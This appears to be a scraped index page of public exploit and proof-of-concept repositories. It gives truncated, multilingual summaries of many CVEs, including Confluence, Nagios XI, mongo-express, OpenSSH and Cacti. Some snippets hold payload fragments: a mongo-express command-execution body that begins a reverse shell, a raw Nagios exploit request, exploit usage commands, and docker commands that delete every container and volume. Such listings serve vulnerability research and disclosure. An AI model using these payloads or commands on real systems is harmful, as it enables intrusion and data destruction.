CVE-2026-58567

Dell PowerStore contains an OS Command Injection vulnerability. An authenticated user with limited privileges could potentially exploit this vulnerability to execute arbitrary commands with root privileges...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring मुख्य निर्भरताएँ 1. jackson 2. commons-io त्वरित पुनरुत्पादन 1. IDEA में प्रोजेक्ट आयात करें build mvn install 2. Dockerfile build && run docker build . 3. src/test/java/POC.java चलाएँ, touch /tmp/pwned कमांड निष्पादित करें शोषण स्पष्टीकरण Step1: java.io.InputStream को...

CVE-2026-10195

The FS-Poster plugin for WordPress is vulnerable to Remote Code Execution in versions up to and including 8.0.1. This is due to insufficient input sanitization of the FFmpeg path parameter before passing it to the exec function, combined with missing authorization checks on the REST API endpoints...

CVE-2022-26134-Exploit-Detection

Confluence RCE CVE-2022-26134 Détection d'exploit Prérequis 1. ClamAV Clonez ce dépôt ou téléchargez la règle Yara sur votre serveur Confluence Nous utilisons la règle Yara fournie par volexity/threat-intel, qui a été le premier à dévoiler cette vulnérabilité. Git Clone root@kitploit: git clone...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit Les adresses de system et du gadget doivent être remplacées par les adresses réelles trouvées via une vulnérabilité de divulgation d'informations. Après avoir remplacé les adresses de system et du gadget, exécutez le code pour générer le fichier GIF corrompu :...

cacti-rce-snmp-options-vulnerable-application

Уязвимое приложение Cacti v1.2.24 с аутентифицированным внедрением команд CVE-2023-39362 Это уязвимое приложение для проверки эксплойта для уязвимости Cacti CVE-2023-39362. ПРЕДУПРЕЖДЕНИЕ! Это приложение содержит серьезные уязвимости безопасности. Запускайте его на свой страх и риск! Рекомендуетс...

CVE-2025-28073

CVE-2025-28073 الوصف المقترح phpList 3.6.3 عرضة لثغرة البرمجة النصية عبر المواقع XSS المنعكسة عبر نقطة النهاية /lists/dl.php. يمكن للمهاجم حقن كود JavaScript عشوائي من خلال التلاعب بمعامل id، والذي لا يتم تطهيره بشكل صحيح. نوع الثغرة البرمجة النصية عبر المواقع XSS بائع المنتج phpList قاعدة كود...

Joplin-CVE-2022-35131

Joplin CVE-2022-35131 ثغرة XSS تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE في Joplin، وتؤثر على الإصدار 2.8.8 والإصدارات الأقدم. تم اختبارها وتعمل على Windows وLinux. تم الإبلاغ عنها وإصلاحها: 2022-06 نظرة عامة تقنية 1. أنشئ ملاحظة بحمولة JavaScript كعنوان أمثلة POC أدناه 2. اضغط Ctrl+P وابحث ع...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Rails में उपयोगकर्ता द्वारा प्रदान किए गए स्थानीय नामों का रिमोट कोड निष्पादन Rails 5.0.1 में उपयोगकर्ता द्वारा प्रदान किए गए स्थानीय नामों का रिमोट कोड निष्पादन Rails के 5.0.1 से पहले के संस्करणों में एक कमजोरी थी जो एक हमलावर को render कॉल के locals तर्क को नियंत्र...

CVE-2019-20197

Nagios XI दूरस्थ आदेश निष्पादन भेद्यता CVE-2019-20197 POC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

cve-2020-11651-exp-plus

استخدم bash لتنفيذ معامل --exec؛ كان البرنامج النصي الأصلي يستخدم /bin/sh، لذا فإن بعض الأوامر غير متوافقة مثل قشرة bash العكسية bash reverse shell. 2. كان الكود الأصلي يحصل على إصدار salt-master المحلي لتحديد ما إذا كان المضيف البعيد متأثرًا، وهذا خطأ منطقي واضح. لقد حذفت الكود ذي الصلة مباشرة...

poc-cribl-rce

إخلاء المسؤولية هذا للأغراض المعلوماتية/التعليمية فقط. تم تجميع هذا لإظهار نقطة ضعف في الأداة، وذلك للتحقق من الإصلاح من قبل البائع. معلومات تم الاختبار على Cribl الإصدار 1.5.0 - الإصدارات السابقة لم يتم اختبارها ولكنها على الأرجح معرضة للخطر. يمكن نقل رمز JWT صالح من وحقنه في جلسة مثيل Cribl آخر...

CVE-2024-23745

CVE-2024-23745 في Notion Web Clipper 1.0.37، يكون ملف .nib عرضة لهجوم Dirty NIB. يمكن التلاعب بملفات NIB لتنفيذ أوامر عشوائية. بالإضافة إلى ذلك، حتى إذا تم تعديل ملف NIB داخل تطبيق، فقد يسمح Gatekeeper بتنفيذ التطبيق، مما يتيح تنفيذ أوامر عشوائية في سياق التطبيق. التأثير يمكن للمهاجمين استغلال هذ...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 من https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

cve-2020-10977-read-and-execute

CVE-2020-10977 قراءة وتنفيذ حول CVE-2020-10977 تقرير HackerOne: https://hackerone.com/reports/827052 Exploit-DB: https://www.exploit-db.com/exploits/48431 كيفية إعادة إنتاج جزء التنفيذ يدويًا: من القراءة إلى التنفيذ حول هذا المستودع getsecret.py - النص الرئيسي. يستخدم كود thewhiteh4t لاستغلال...

CVE-2022-1388

F5-CVE-2022-1388-Exploit استغلال ثغرة CVE 2022-1388 ونص تحقق الاستخدام root@kitploit: bash / | | | || | / | |/ / \ / | | || || | | / /| | | || | ' / /'| |/' |' / /'' / /'| | / / \ V / \ V / | | | | | || ||| / / | /| | / / / / ||| | \ \ / \ / \ | /\ / /| | ./ /\ |/ /./ /./ / | |./ /| || || ||...

cve-2024-6387-poc

cve-2024-6387-poc une condition de course dans le gestionnaire de signaux du serveur OpenSSH sshd 7etsuo Description Un exploit pour CVE-2024-6387, ciblant une condition de course dans le gestionnaire de signaux du serveur OpenSSH sshd sur les systèmes Linux basés sur glibc. La vulnérabilité perm...

mybb-CVE-2022-24734

mybb-CVE-2022-24734 MyBB 1.8.29 - रिमोट कोड निष्पादन root@kitploit: git clone https://github.com/lavclash75/mybb-CVE-2022-24734.git cd "mybb-CVE-2022-24734" docker-compose down docker system prune -a docker rm -f $docker ps -a -q docker volume rm $docker volume ls -q docker-compose up -d...

CVE-2022-26134

CVE-2022-26134 स्थापना root@kitploit: py डाउनलोड करें, स्थानीय cmd में चलाएँ उपयोग poc root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com exp root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com -c id अस्वीकरण🧐 यह उपकरण केवल कानूनी रूप से अधिकृत उद्यम सुरक्षा निर्माण...